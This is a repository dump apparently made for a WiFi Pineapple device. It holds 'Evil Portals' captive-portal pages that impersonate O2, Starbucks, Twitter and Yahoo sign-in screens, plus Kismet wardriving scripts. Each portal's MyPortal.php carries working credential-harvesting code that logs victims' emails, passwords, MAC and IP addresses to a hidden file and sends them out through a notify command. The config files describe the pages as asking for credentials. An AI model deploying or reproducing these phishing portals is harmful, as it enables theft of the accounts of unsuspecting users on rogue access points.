-------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/helper.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | O2 - Sign Up 11 | 12 | 13 | 14 | 15 | 16 | 18 | 19 | 20 | 21 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/license.txt: -------------------------------------------------------------------------------- 1 | 26 | -------------------------------------------------------------------------------- /Evil Portals/portals/o2-login/o2-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"o2-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/assets/css/style.css: -------------------------------------------------------------------------------- 1 | .form-signin 2 | { 3 | max-width: 330px; 4 | padding: 15px; 5 | margin: 0 auto; 6 | } 7 | .form-signin .form-signin-heading, .form-signin .checkbox 8 | { 9 | margin-bottom: 10px; 10 | } 11 | .form-signin .checkbox 12 | { 13 | font-weight: normal; 14 | } 15 | .form-signin .form-control 16 | { 17 | position: relative; 18 | font-size: 16px; 19 | height: auto; 20 | padding: 10px; 21 | -webkit-box-sizing: border-box; 22 | -moz-box-sizing: border-box; 23 | box-sizing: border-box; 24 | } 25 | .form-signin .form-control:focus 26 | { 27 | z-index: 2; 28 | } 29 | .form-signin input[type="text"] 30 | { 31 | margin-bottom: -1px; 32 | border-bottom-left-radius: 0; 33 | border-bottom-right-radius: 0; 34 | } 35 | .form-signin input[type="password"] 36 | { 37 | margin-bottom: 10px; 38 | border-top-left-radius: 0; 39 | border-top-right-radius: 0; 40 | } 41 | .account-wall 42 | { 43 | margin-top: 20px; 44 | padding: 40px 0px 20px 0px; 45 | background-color: #ffffff; 46 | } 47 | .login-title 48 | { 49 | color: #007140; 50 | font-size: 55px; 51 | font-weight: 400; 52 | display: block; 53 | } 54 | .profile-img 55 | { 56 | width: 150px; 57 | height: 150px; 58 | margin: 0 auto 10px; 59 | display: block; 60 | -moz-border-radius: 50%; 61 | -webkit-border-radius: 50%; 62 | border-radius: 50%; 63 | } 64 | 65 | .friends-text 66 | { 67 | font-size: 18px; 68 | font-weight: 400; 69 | display: block; 70 | color: #757575; 71 | padding-bottom: 15px; 72 | } 73 | 74 | .need-help 75 | { 76 | margin-top: 10px; 77 | } 78 | .new-account 79 | { 80 | display: block; 81 | margin-top: 10px; 82 | } 83 | 84 | /*.btn-primary { 85 | background: #5da522; 86 | border-color: #5da522; 87 | color: #ffffff; 88 | } 89 | 90 | .btn-primary:hover, .btn-primary:focus, .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { 91 | background: #5da522; 92 | border-color: #5da522; 93 | color: #ffffff; 94 | } 95 | 96 | .btn-primary:active { 97 | background: #5da522; 98 | border-color: #5da522; 99 | color: #ffffff; 100 | }*/ 101 | 102 | .container { 103 | margin: 0 auto; 104 | width: 400px; 105 | } 106 | 107 | .terms-text1 { 108 | color: #999999; 109 | font-size: 15px; 110 | display: block; 111 | padding-top: 20px; 112 | } 113 | 114 | .terms-text2 { 115 | color: #999999; 116 | font-size: 15px; 117 | display: block; 118 | padding-top: 5px; 119 | } 120 | 121 | .terms-text3 { 122 | color: #999999; 123 | font-size: 15px; 124 | display: block; 125 | padding-top: 20px; 126 | } 127 | 128 | .url-color { 129 | color: #6fb62f; 130 | font-size: 15px; 131 | } 132 | 133 | .url-color:link { 134 | color: #6fb62f; 135 | text-decoration: none; 136 | } 137 | 138 | .url-color:visited { 139 | color: #6fb62f; 140 | text-decoration: none; 141 | } 142 | 143 | .url-color:hover { 144 | color: #6fb62f; 145 | text-decoration: none; 146 | } 147 | 148 | .url-color:active { 149 | color: #6fb62f; 150 | text-decoration: none; 151 | } 152 | 153 | .url-color1 { 154 | color: #007140; 155 | } 156 | 157 | .url-color1:link { 158 | color: #007140; 159 | text-decoration: none; 160 | } 161 | 162 | .url-color1:visited { 163 | color: #007140; 164 | text-decoration: none; 165 | } 166 | 167 | .url-color1:hover { 168 | color: #007140; 169 | text-decoration: none; 170 | } 171 | 172 | .url-color1:active { 173 | color: #007140; 174 | text-decoration: none; 175 | } 176 | 177 | .btn-primary { 178 | color: #FFFFFF; 179 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 180 | background-color: #318a00; 181 | *background-color: #318a00; 182 | background-image: -moz-linear-gradient(top, #65AB28, #318a00); 183 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#65AB28), to(#318a00)); 184 | background-image: -webkit-linear-gradient(top, #65AB28, #318a00); 185 | background-image: -o-linear-gradient(top, #65AB28, #318a00); 186 | background-image: linear-gradient(to bottom, #65AB28, #318a00); 187 | background-repeat: repeat-x; 188 | border: none; 189 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#65AB28', endColorstr='#318a00', GradientType=0); 190 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 191 | } 192 | 193 | .btn-primary:hover, 194 | .btn-primary:focus, 195 | .btn-primary:active, 196 | .btn-primary.active, 197 | .btn-primary.disabled, 198 | .btn-primary[disabled] { 199 | color: #FFFFFF; 200 | background-color: #318a00; 201 | *background-color: #318a00; 202 | } 203 | 204 | .btn-xlarge { 205 | padding: 18px 28px; 206 | font-size: 22px; //change this to your desired size 207 | line-height: normal; 208 | -webkit-border-radius: 8px; 209 | -moz-border-radius: 8px; 210 | border-radius: 8px; 211 | } 212 | 213 | .btn-sharp { 214 | border-radius: 5px; 215 | } 216 | 217 | -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/assets/img/5atoko1sqg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/assets/img/5atoko1sqg.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/assets/img/pa6dyy5wcc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/assets/img/pa6dyy5wcc.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/assets/img/s5g1cxz9vr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/assets/img/s5g1cxz9vr.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Starbucks Login 3 | Description: A Starbucks page asking for credentials, scenario by Kleo Bercero(https://github.com/kbeflo) 4 | 5 | [context] 6 | login_title: Sign in - Starbucks -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/helper.php: -------------------------------------------------------------------------------- 1 | .dropdown-toggle.btn-primary { 105 | background: #5da522; 106 | border-color: #5da522; 107 | color: #ffffff; 108 | } 109 | 110 | .btn-primary:active { 111 | background: #5da522; 112 | border-color: #5da522; 113 | color: #ffffff; 114 | }*/ 115 | 116 | .container { 117 | margin: 0 auto; 118 | width: 400px; 119 | } 120 | 121 | .terms-text1 { 122 | color: #999999; 123 | font-size: 15px; 124 | display: block; 125 | padding-top: 20px; 126 | -webkit-touch-callout: none; 127 | -webkit-user-select: none; 128 | -khtml-user-select: none; 129 | -moz-user-select: none; 130 | -ms-user-select: none; 131 | user-select: none; 132 | } 133 | 134 | .terms-text2 { 135 | color: #999999; 136 | font-size: 15px; 137 | display: block; 138 | padding-top: 5px; 139 | -webkit-touch-callout: none; 140 | -webkit-user-select: none; 141 | -khtml-user-select: none; 142 | -moz-user-select: none; 143 | -ms-user-select: none; 144 | user-select: none; 145 | } 146 | 147 | .terms-text3 { 148 | color: #999999; 149 | font-size: 15px; 150 | display: block; 151 | padding-top: 20px; 152 | -webkit-touch-callout: none; 153 | -webkit-user-select: none; 154 | -khtml-user-select: none; 155 | -moz-user-select: none; 156 | -ms-user-select: none; 157 | user-select: none; 158 | } 159 | 160 | .url-color { 161 | color: #6fb62f; 162 | font-size: 15px; 163 | } 164 | 165 | .url-color:link { 166 | color: #6fb62f; 167 | text-decoration: none; 168 | } 169 | 170 | .url-color:visited { 171 | color: #6fb62f; 172 | text-decoration: none; 173 | } 174 | 175 | .url-color:hover { 176 | color: #6fb62f; 177 | text-decoration: none; 178 | } 179 | 180 | .url-color:active { 181 | color: #6fb62f; 182 | text-decoration: none; 183 | } 184 | 185 | .url-color1 { 186 | color: #007140; 187 | } 188 | 189 | .url-color1:link { 190 | color: #007140; 191 | text-decoration: none; 192 | } 193 | 194 | .url-color1:visited { 195 | color: #007140; 196 | text-decoration: none; 197 | } 198 | 199 | .url-color1:hover { 200 | color: #007140; 201 | text-decoration: none; 202 | } 203 | 204 | .url-color1:active { 205 | color: #007140; 206 | text-decoration: none; 207 | } 208 | 209 | .btn-primary { 210 | color: #FFFFFF; 211 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 212 | background-color: #318a00; 213 | *background-color: #318a00; 214 | background-image: -moz-linear-gradient(top, #65AB28, #318a00); 215 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#65AB28), to(#318a00)); 216 | background-image: -webkit-linear-gradient(top, #65AB28, #318a00); 217 | background-image: -o-linear-gradient(top, #65AB28, #318a00); 218 | background-image: linear-gradient(to bottom, #65AB28, #318a00); 219 | background-repeat: repeat-x; 220 | border: none; 221 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#65AB28', endColorstr='#318a00', GradientType=0); 222 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); 223 | } 224 | 225 | .btn-primary:hover, 226 | .btn-primary:focus, 227 | .btn-primary:active, 228 | .btn-primary.active, 229 | .btn-primary.disabled, 230 | .btn-primary[disabled] { 231 | color: #FFFFFF; 232 | background-color: #318a00; 233 | *background-color: #318a00; 234 | } 235 | 236 | .btn-xlarge { 237 | padding: 18px 28px; 238 | font-size: 22px; //change this to your desired size 239 | line-height: normal; 240 | -webkit-border-radius: 8px; 241 | -moz-border-radius: 8px; 242 | border-radius: 8px; 243 | } 244 | 245 | .btn-sharp { 246 | border-radius: 5px; 247 | } 248 | 249 | #dialog{ 250 | display: none;} 251 | 252 | #dialog > h2{ 253 | color: #dd4b39; 254 | margin: .5em 0; 255 | font-size: 14px; 256 | margin-top: 0px; 257 | margin-bottom: 15px; 258 | 259 | } 260 | -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/html/static/img/5atoko1sqg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/html/static/img/5atoko1sqg.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/html/static/img/pa6dyy5wcc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/html/static/img/pa6dyy5wcc.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/html/static/img/s5g1cxz9vr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/starbucks-login/html/static/img/s5g1cxz9vr.png -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/html/static/js/index.js: -------------------------------------------------------------------------------- 1 | // Toggle Function 2 | $('.toggle').click(function(){ 3 | // Switches the Icon 4 | $(this).children('i').toggleClass('fa-pencil'); 5 | // Switches the forms 6 | $('.form').animate({ 7 | height: "toggle", 8 | 'padding-top': 'toggle', 9 | 'padding-bottom': 'toggle', 10 | opacity: "toggle" 11 | }, "slow"); 12 | }); -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | Sign in - Starbucks 11 | 12 | 13 | 14 | 15 | 16 | 18 | 19 | 20 | 27 | 28 | 29 | 30 | 31 | 32 | 76 | 77 | 90 | 91 | 127 | 128 | 129 | 130 | 131 | 132 |
133 | 224 | 225 | 226 | 227 | 228 | -------------------------------------------------------------------------------- /Evil Portals/portals/starbucks-login/starbucks-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"starbucks-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/assets/css/style.css: -------------------------------------------------------------------------------- 1 | .form-signin 2 | { 3 | max-width: 330px; 4 | margin: 0 auto; 5 | } 6 | .form-signin .form-signin-heading, .form-signin .checkbox 7 | { 8 | margin-bottom: 10px; 9 | } 10 | .form-signin .checkbox 11 | { 12 | font-weight: normal; 13 | } 14 | .form-signin .form-control 15 | { 16 | 17 | } 18 | .form-email 19 | { 20 | margin: .65625rem 0; 21 | width: 100%; 22 | height: 45px; 23 | background-color: #f5f8fa; 24 | border-radius: 2.3125rem; 25 | border-width: 0; 26 | font: inherit; 27 | padding: .65625rem; 28 | } 29 | .form-password 30 | { 31 | margin: .65625rem 0; 32 | width: 100%; 33 | height: 45px; 34 | background-color: #f5f8fa; 35 | border-radius: 2.3125rem; 36 | border-width: 0; 37 | font: inherit; 38 | padding: .65625rem; 39 | } 40 | .form-email:focus 41 | { 42 | outline: 0; 43 | } 44 | .form-password:focus 45 | { 46 | outline: 0; 47 | } 48 | .form-signin input[type="text"] 49 | { 50 | 51 | } 52 | .form-signin input[type="password"] 53 | { 54 | margin-bottom: 5px; 55 | } 56 | .account-wall 57 | { 58 | padding: 10px 0px 20px 0px; 59 | background-color: #ffffff; 60 | } 61 | .login-title 62 | { 63 | margin: 0 auto; 64 | max-width: 320px; 65 | padding: 0 15px 22px; 66 | overflow: hidden; 67 | color: #000000; 68 | font-size: 1.125em; 69 | font-weight: 500; 70 | display: block; 71 | } 72 | .profile-img 73 | { 74 | width: 150px; 75 | height: 150px; 76 | margin: 0 auto 10px; 77 | display: block; 78 | -moz-border-radius: 50%; 79 | -webkit-border-radius: 50%; 80 | border-radius: 50%; 81 | } 82 | 83 | .friends-text 84 | { 85 | font-size: 18px; 86 | font-weight: 400; 87 | display: block; 88 | color: #757575; 89 | padding-bottom: 15px; 90 | } 91 | 92 | .need-help 93 | { 94 | margin-top: 10px; 95 | } 96 | .new-account 97 | { 98 | display: block; 99 | margin-top: 10px; 100 | } 101 | 102 | .container { 103 | margin: 0 auto; 104 | } 105 | 106 | .terms-text1 { 107 | color: #000; 108 | font-size: 16px; 109 | display: block; 110 | padding-top: 35px; 111 | text-align: center; 112 | text-decoration: none; 113 | } 114 | 115 | .url-color { 116 | color: #1da1f2; 117 | font-size: 15px; 118 | font-weight: 400; 119 | text-decoration: none; 120 | } 121 | a:hover, a:visited, a:link, a:active 122 | { 123 | color: #1da1f2; 124 | text-decoration: none; 125 | } 126 | .btn-primary { 127 | display: block; 128 | width: 100%; 129 | height: 45px; 130 | box-sizing: border-box; 131 | margin-top: 15px!important; 132 | color: #FFFFFF; 133 | background-color: #3098ee; 134 | border-color: #3098ee; 135 | font-size: 1.25rem; 136 | line-height: 1.5em; 137 | font-weight: bold; 138 | border-width: inherit; 139 | 140 | } 141 | 142 | .btn-primary:hover, 143 | .btn-primary:focus, 144 | .btn-primary:active, 145 | .btn-primary.active, 146 | .open .dropdown-toggle.btn-primary { 147 | color: #FFFFFF; 148 | background-color: #3098ee; 149 | border-color: #3098ee; 150 | } 151 | 152 | .btn-primary:active, 153 | .btn-primary.active, 154 | .open .dropdown-toggle.btn-primary { 155 | background-image: none; 156 | } 157 | 158 | .btn-primary.disabled, 159 | .btn-primary[disabled], 160 | fieldset[disabled] .btn-primary, 161 | .btn-primary.disabled:hover, 162 | .btn-primary[disabled]:hover, 163 | fieldset[disabled] .btn-primary:hover, 164 | .btn-primary.disabled:focus, 165 | .btn-primary[disabled]:focus, 166 | fieldset[disabled] .btn-primary:focus, 167 | .btn-primary.disabled:active, 168 | .btn-primary[disabled]:active, 169 | fieldset[disabled] .btn-primary:active, 170 | .btn-primary.disabled.active, 171 | .btn-primary[disabled].active, 172 | fieldset[disabled] .btn-primary.active { 173 | background-color: #3098ee; 174 | border-color: #3098ee; 175 | } 176 | 177 | .btn-primary .badge { 178 | color: #3098ee; 179 | background-color: #FFFFFF; 180 | } 181 | 182 | .btn-primary:active:focus { 183 | color: #ffffff; 184 | background-color: #3098ee; 185 | border-color: #3098ee; 186 | } 187 | 188 | .btn-xlarge { 189 | padding: 5px 5px; 190 | font-size: 1.0em; //change this to your desired size 191 | line-height: normal; 192 | -webkit-border-radius: 2.3125rem; 193 | -moz-border-radius: 2.3125rem; 194 | border-radius: 2.3125rem; 195 | } 196 | 197 | .btn-sharp { 198 | border-radius: 2.3125rem; 199 | } 200 | 201 | .logo { 202 | margin: auto; 203 | width: auto; 204 | height: 75%; 205 | } -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/assets/img/j35g5c9082.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/twitter-login/assets/img/j35g5c9082.png -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/assets/img/oxvhareuw0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/twitter-login/assets/img/oxvhareuw0.png -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/helper.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | Twitter. It's what's happening. 11 | 12 | 13 | 14 | 15 | 16 | 18 | 19 | 20 | 27 | 28 | 29 | 30 | 31 | 32 | 72 | 73 | 86 | 87 | 123 | 124 | 125 | 126 | 127 | 128 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /Evil Portals/portals/twitter-login/twitter-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"twitter-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/MyPortal.php: -------------------------------------------------------------------------------- 1 | getFileName()); 17 | file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND); 18 | $this->execBackground("notify $email' - '$pwd"); 19 | } 20 | // handle form input or other extra things there 21 | 22 | // Call parent to handle basic authorization first 23 | parent::handleAuthorization(); 24 | } 25 | 26 | public function onSuccess() 27 | { 28 | // Calls default success message 29 | parent::onSuccess(); 30 | } 31 | 32 | public function showError() 33 | { 34 | // Calls default error message 35 | parent::showError(); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Medium.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Regular.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Semibold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/fonts/Yahoo_Sans-Semibold.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/img/yahoo-apple-touch-v0.0.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/img/yahoo-apple-touch-v0.0.2.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/img/yahoo-favicon-img-v0.0.2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/img/yahoo-favicon-img-v0.0.2.ico -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/img/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/img/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/assets/img/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/assets/img/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/config.ini: -------------------------------------------------------------------------------- 1 | [info] 2 | Name: Yahoo Login 3 | Description: A page asking for Yahoo credentials, scenario by Kleo Bercero(https://github.com/kbeflo) 4 | 5 | [context] 6 | login_title: Yahoo - login -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/helper.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Yahoo 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 29 |
30 |
31 |
32 |
33 | Sign in 34 | 35 | 36 |
37 |
38 | 39 |
40 | 41 | 42 | 43 |
44 | 45 |
46 | 47 | 48 | 49 |
50 | 51 |
52 | 53 | 56 | 74 |
75 |
76 |
77 | 78 | 79 |
80 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/loading.html: -------------------------------------------------------------------------------- 1 | Loading, please wait ... -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Medium.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Regular.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Semibold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/fonts/Yahoo_Sans-Semibold.woff2 -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/img/yahoo-apple-touch-v0.0.2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/img/yahoo-apple-touch-v0.0.2.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/img/yahoo-favicon-img-v0.0.2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/img/yahoo-favicon-img-v0.0.2.ico -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/img/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/img/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/html/static/img/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptTactics/PineappleMk7-Scripts/1abfd5b413c58424ed6db640c8e9ddd6056e7625/Evil Portals/portals/yahoo-login/html/static/img/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | Yahoo 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 33 |
34 |
35 |
36 |
37 | Sign in 38 | 39 | 40 |
41 |
42 | 43 |
44 | 45 | 46 | 47 |
48 | 49 | 50 | 51 | 52 | 53 | 54 |
55 | 56 | 57 | 58 |
59 | 60 |
61 | 62 | 65 | 83 |
84 |
85 |
86 | 87 | 88 |
89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /Evil Portals/portals/yahoo-login/yahoo-login.ep: -------------------------------------------------------------------------------- 1 | {"name":"yahoo-login","type":"basic"} 2 | -------------------------------------------------------------------------------- /Kismet/dependencyInstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | opkg update 4 | 5 | opkg install gpsd gpsd-clients kismet kismet-capture-liux-wifi -------------------------------------------------------------------------------- /Kismet/wardrive.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pkill gpsd # kill any current gpsd process 4 | pkill kismet # kill any kismet process 5 | ifconfig wlan1 down # bring down wlan1 6 | ifconfig wlan2 down # bring down wlan2 7 | #ifconfig wlan3 down # if you have the 5GHz module oncomment this line 8 | 9 | gpsd udp://172.16.42.1:9999 # Set the GPSD input from the android phone 10 | 11 | sleep 1 # wait for a lock 12 | #gpspipe -w | grep -qm 1 '"mode":3' 13 | 14 | UTCDATE=`gpspipe -w | grep -m 1 "TPV" | 